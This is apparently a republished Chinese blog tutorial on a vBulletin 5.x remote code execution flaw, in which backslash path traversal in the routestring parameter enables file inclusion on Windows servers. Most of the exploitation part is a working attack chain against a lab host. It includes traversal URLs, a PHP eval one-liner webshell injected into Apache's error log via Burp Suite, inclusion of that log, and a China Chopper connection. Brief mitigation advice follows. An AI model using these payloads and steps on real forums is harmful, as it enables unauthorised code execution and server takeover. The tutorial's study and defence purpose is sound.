vBulletin5.x版本通杀远程代码执行漏洞分析

栏目: PHP · 发布时间: 6年前

内容简介:vBulletin5.x版本通杀远程代码执行漏洞分析

一、漏洞介绍

vBulletin中存在一个文件包含问题,可使恶意访问者包含来自 vBulletin 服务器的文件并且执行任意 PHP 代码。未经验证的恶意访问者可通过向index.php发出包含routestring=参数的GET 请求,从而触发文件包含漏洞,最终导致远程代码执行漏洞

二、漏洞原理

index.php页面发送GET请求去使用routestring参数包含本地文件时,层层调用功能函数对routestring的值进行过滤,我们来看主要的处理代码。

该代码位于/includes/vb5/frontend/routing.php文件

if ( strlen ( $path ) > 2 ) { $ext = strtolower ( substr ( $path , - 4 ) ) ; if ( ( $ext == ‘.gif’ ) OR ( $ext == ‘.png’ ) OR ( $ext == ‘.jpg’ ) OR ( $ext == ‘.css’ ) OR ( strtolower ( substr ( $path , - 3 ) ) == ‘.js’ ) ) { header ( “HTTP/1.0 404 Not Found” ) ; die ( ) ; } }

这段代码判断routestring获取的值是否以.gif, .png, .jpg, .css or .js结尾,如果是则头部信息返回404

if (strpos($path, ‘/’) === false)

{

$this->controller = ‘relay’;

$this->action = ‘legacy’;

$this->template = ”;

$this->arguments = array($path);

$this->queryParameters = array();

return;

}

这段代码中strpos()函数返回/字符在$path中第一次出现的位置,若返回信息为false才会继续处理,也就是说路径中不能出现/。

对于 Linux 服务器,处理URL时,/表示目录层的分隔、表示符,所以此处无法以多个../的方式包含网站中的其他文件。但是对于Windows服务器,/和\在表达路径时,是等价的,而程序并没有对\进行处理,所以导致本次针对Windows服务器的文件包含漏洞。

影响版本

版本号 vBulletin v5.x版本 漏洞发现者已联系厂商,暂未得到回复

三、漏洞利用

接下来的实操部分,我们将逐步深入漏洞的理解和利用,先利用页面报错,获取服务器相关信息;再包含服务器内部文件,执行phpinfo()验证代码执行;最后包含写入PHP一句话的网站日志文件,获取网站管理权限。

步骤1 漏洞验证

这一步,我们简单利用报错获取服务器信息,然后利用漏洞去包含执行phpinfo()函数进行验证

1.打开目标网址172.16.12.2/vb5/index.php,网站主页如下:

vBulletin5.x版本通杀远程代码执行漏洞分析

2.访问漏洞页面,查看报错信息

在浏览器中打开172.16.12.2/vb5/index.php?routestring=.\\,报错信息如下:

vBulletin5.x版本通杀远程代码执行漏洞分析

可以看见页面使用require_once()包含当前路径(C:\phpstudy\WWW\vb5/core/.\\)时不被允许而报错,报错信息泄露了网站的绝对路径,以及网站搭建软件:phpstudy

phpstudy 搭建网站时,默认会在网站根目录留下 l.php和phpinfo.php文件,通常网站管理员会删除或者修改这两个文件因为 \还有转义的含义,而表示路径时\\和\是等价的,所以我们使用\\防止被转义(本实验\也可完成)

3.访问 phpinfo.txt文件

此处为了验证包含漏洞,网站根目录下存有phpinfo.txt文件,内容为<?php phpinfo();?>,我们尝试直接访问该文件,http://172.16.12.2/phpinfo.txt

vBulletin5.x版本通杀远程代码执行漏洞分析

网站直接将文本内容显示出来了

4.包含 phpinfo.txt文件

我们接着尝试包含该文件,打开构造的链接 http://172.16.12.2/vb5/index.php?routestring=\\..\\..\\..\\..\\..\\..\\phpstudy\\WWW\\phpinfo.txt

vBulletin5.x版本通杀远程代码执行漏洞分析

此处我们已知晓网站在服务器上的绝对路径,所以使用多个..\\加上文件路径,表示被包含文件的网站路径,包含该文件后,服务器将文件当做php文件进行解析,执行了phpinfo()函数。

phpinfo():PHP内置函数,输出PHP服务器的配置信息

步骤2 漏洞利用

一般情况下,PHP文件包含漏洞利用的方式都是先利用网站上传点,上传含有恶意代码的文件,然后找到上传后的文件路径,构造URL,通过包含漏洞执行恶意代码。但是,如果网站本身无可利用的上传点,或者对上传的文件做了限制,使得我们无法获知文件的路径,亦或者对输入时获取的参数做出过滤,这种方法就行不通了。

由上述可知,程序对包含的文件后缀做出了限制,在没有其他利用的情况下,我们可以选择包含网站本身存在文件的方式,也就是本次实验的利用方式:包含网站日志文件

本次包含的是Apache的错误访问日志(error.log),这个日志文件在phpstudy中的路径为: \phpstudy\apache\logs\error.log。

1.将一句话写入日志记录

首先,我们构造一个会报错的访问链接,将利用代码(PHP一句话)写入错误日志记录中。

http://172.16.12.2/vb5/index.php<?php @eval($_POST[c]);?>

这个链接直接访问的话,一句话会被编码成%3C?php%[email protected]($_POST[c]);?%3E,所以需要使用Burp suite改一下包。

使用Everything搜索BurpLoader.jar,双击打开工具Burp suite。

vBulletin5.x版本通杀远程代码执行漏洞分析

配置浏览器的代理设置:

打开桌面的chrome浏览器,访问chrome://settings或者点击浏览器右侧的自定义按钮–》设置,进入设置界面

vBulletin5.x版本通杀远程代码执行漏洞分析

点击下方的显示高级设置,找到更改代理服务器设置按钮并打开,在弹出的设置中选择局域网设置

vBulletin5.x版本通杀远程代码执行漏洞分析

具体配置如下图,修改后确定

vBulletin5.x版本通杀远程代码执行漏洞分析

配置完代理后,在浏览器中访问上述构造的链接,Burpsuite接受到数据包会自动截获,打开Burpsuite–》proxy–》Intercept,在下方文本框中,右击并选择Send to Repeater,随后点击Repeter功能按钮,对所截获的包进行修改。

vBulletin5.x版本通杀远程代码执行漏洞分析

我们将被编码的链接改回编码之前的状态,修改后的内容如下:

vBulletin5.x版本通杀远程代码执行漏洞分析

点击 Go 按钮发送,返回403报错,服务器错误日志文件成功将此次记录到error.log中

vBulletin5.x版本通杀远程代码执行漏洞分析

我们已经成功的将利用代码写入日志中了

注意利用代码的正确性,如果写入错误的代码可能会导致后续包含时,代码不能成功执行

现在,将Burpsuite关闭,并按照上述设置浏览器代理的方法关闭代理

vBulletin5.x版本通杀远程代码执行漏洞分析

2.构造Webshell连接地址

我们根据日志的路径构造访问路径:

http://172.16.12.2/vb5/index.php?routestring=\\..\\..\\..\\..\\..\\..\\phpstudy\\apache\\logs\\error.log

3.客户端连接一句话

接下来就使用中国菜刀连接我们的一句话,使用Everything搜索并打开chopper,右击,选择添加,在地址栏内填入我们构造好的链接,右侧写入密码c,类型选择 PHP(Eval),然后点击添加。

vBulletin5.x版本通杀远程代码执行漏洞分析

双击链接,连接成功(此处如果连接不上请检查写入的代码是否正确,代理是否关闭)

vBulletin5.x版本通杀远程代码执行漏洞分析

包含日志文件需要确定的服务器日志路径,通常管理员会修改相关配置,而且写入代码时需要注意严格的格式和编码,所以这种方法不作为优选利用方法,但是在没有其他利用点的情况下,也是可以尝试的

在漏洞的深入学习中,我们需要清楚的认识到不能忽视任何漏洞,通过挖掘隐藏的信息,漏洞的危害也会被无限放大,当一条路行不通时,可以选择换一条思路,殊途同归。

修复方案

  • (1) 等待官方发布补丁,个人用户建议采用可替代的相关产品
  • (2) 企业用户可修改网站源代码,增加\字符的过滤处理
  • (3) 网站管理人员可以修改服务器本身敏感信息文件位置,避免漏洞的进一步利用

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

代码整洁之道:程序员的职业素养

代码整洁之道:程序员的职业素养

罗伯特·C.马丁 (Robert C.Martin) / 余晟、章显洲 / 人民邮电出版社 / 2016-9-1 / 49.00元

1. 汇聚编程大师40余年编程生涯的心得体会 2. 阐释软件工艺中的原理、技术、工具和实践 3. 助力专业软件开发人员具备令人敬佩的职业素养 成功的程序员在以往的工作和生活中都曾经历过大大小小的不确定性,承受过永无休止的压力。他们之所以能够成功,是因为拥有一个共同点,都深切关注创建软件所需的各项实践。他们将软件开发视为一种需要精雕细琢加以修炼的技艺,他们以专业人士的标准要求自己,......一起来看看 《代码整洁之道:程序员的职业素养》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

SHA 加密
SHA 加密

SHA 加密工具

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试